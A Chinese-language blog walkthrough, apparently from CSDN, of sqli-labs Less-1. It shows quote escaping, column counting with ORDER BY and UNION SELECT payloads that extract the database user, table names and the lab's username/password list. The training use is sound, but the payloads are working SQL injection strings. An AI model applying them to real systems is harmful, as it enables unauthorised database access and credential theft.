sql注入sqli-labs第一关

目录

sql注入是什么?

sqli-labs第一关--字符型注入

思路:想要利用连表查询

进一步思考如何逃脱单引号

如何知道表的列数

最终目的:注入管理员账号密码


sql注入是什么?

        注入:都是合理合法的MySQL执行语句

        产生的原因:对于输入没有做过滤,导致意外的查询语句进到了程序中,查询出来了本不应

                                该查询的数据

sqli-labs第一关--字符型注入

less-1初步的理解

        没有任何障碍,没有过滤函数,简单的接收参数,查询数据库,然后展示到前端

        代码存在的问题:对于用户的输入没有做任何过滤

        MySQL连表查询:保证字段数的一致,创建临时表保证字段一致

建立一个商品表

更改相关代码

访问gid=1的信息

思路:想要利用连表查询

        如果直接输入1 union select 1,2,3   

        而代码中呈现的是  gid=' 1 union select 1,2,3 '

        由于数据库纠错机制会删掉后面的  'union select 1,2,3'  所以执行的还是gid='1'

思路结论:没有逃脱单引号的控制

进一步思考如何逃脱单引号

进行闭合单引号---->直白点就是加单引号的方式逃脱单引号

如果   输入 1' union select 1,2,3     代码呈现:gid='1' union select 1,2,3 '

        1、单引号成对出现

        2、多出的单引号的处理思路:a.将单引号闭合b.将单引号注释掉

尝试gid=' 1 ' # '

             urlencode地址传参#会进行编码    #未编码的原因

urlencode编码规范 先转ascli码再转16进制

#的urlencode编码是%23           

替换成%23  成功

单引号逃脱解决   

进行连表查询需要表的列数

如何知道表的列数

利用order by检测列数:输入 1' order by 1%23     

        --+ 也可以注释   

问题:而+和空格的关系

原因:当使用URLEncoder时,会发现字符串中的空格被转换成“+”号,如果编码后的内容入库后,

           将导致读取时,前段本来是空格的地方,会显示成“+”号字符。

           URLEncoder.encode方法是基于application/x-www-form-urlencoded MIME格式进行编码               的。这种编码方式最初是为了在HTML表单中提交数据而设计的。根据这种编码方式的规               定,空格字符会被替换为“+”号。

           这种替换的原因主要是出于简化编码和节省空间的考虑。在表单提交中,空格是非常常见               的 字符,而将其替换为“+”号可以有效地缩短编码后的字符串长度,减少数据传输量。

使用1' order by 4%23                                             代码中为gid='1' order by 4%23'

使用 1' order by 3%23                                                  代码中为gid='1' order by 3%23'

进而得出表的列数

尝试gid='1' union select 1,2,3--+'

  

没变化的原因是呈现只显示第一表

让第一个表为空    gid为没有的值

gid='11' union select 1,2,3--+'

而2,3可以替换成mysql查询的库和用户

gid='1111' union select 1,user(),database()--+'

得到当前的用户和数据库名

最终目的:注入管理员账号密码

在MySQL上的思路

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| sys                |
+--------------------+
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field           | Type                | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG   | varchar(512)        | NO   |     |         |       |
| TABLE_SCHEMA    | varchar(64)         | NO   |     |         |       |
| TABLE_NAME      | varchar(64)         | NO   |     |         |       |
| TABLE_TYPE      | varchar(64)         | NO   |     |         |       |
| ENGINE          | varchar(64)         | YES  |     | NULL    |       |
| VERSION         | bigint(21) unsigned | YES  |     | NULL    |       |
| ROW_FORMAT      | varchar(10)         | YES  |     | NULL    |       |
| TABLE_ROWS      | bigint(21) unsigned | YES  |     | NULL    |       |
| AVG_ROW_LENGTH  | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_LENGTH     | bigint(21) unsigned | YES  |     | NULL    |       |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES  |     | NULL    |       |
| INDEX_LENGTH    | bigint(21) unsigned | YES  |     | NULL    |       |
| DATA_FREE       | bigint(21) unsigned | YES  |     | NULL    |       |
| AUTO_INCREMENT  | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_TIME     | datetime            | YES  |     | NULL    |       |
| UPDATE_TIME     | datetime            | YES  |     | NULL    |       |
| CHECK_TIME      | datetime            | YES  |     | NULL    |       |
| TABLE_COLLATION | varchar(32)         | YES  |     | NULL    |       |
| CHECKSUM        | bigint(21) unsigned | YES  |     | NULL    |       |
| CREATE_OPTIONS  | varchar(255)        | YES  |     | NULL    |       |
| TABLE_COMMENT   | varchar(2048)       | NO   |     |         |       |
+-----------------+---------------------+------+-----+---------+-------+
mysql> select table_name from tables where table_schema='security';
+------------+
| table_name |
+------------+
| emails     |
| goods      |
| referers   |
| uagents    |
| users      |
+------------+
mysql> select column_name from columns where table_schema='security' and table_name='users';
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
mysql> select username,password from security.users;
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+

利用group_concat()将查询结果连起来

-1'union select 1,2,group_concat(table_name) from information_schema.tables --+

-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

-1' union select 1,2,group_concat(username ,id , password) from users--+

  • 14
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值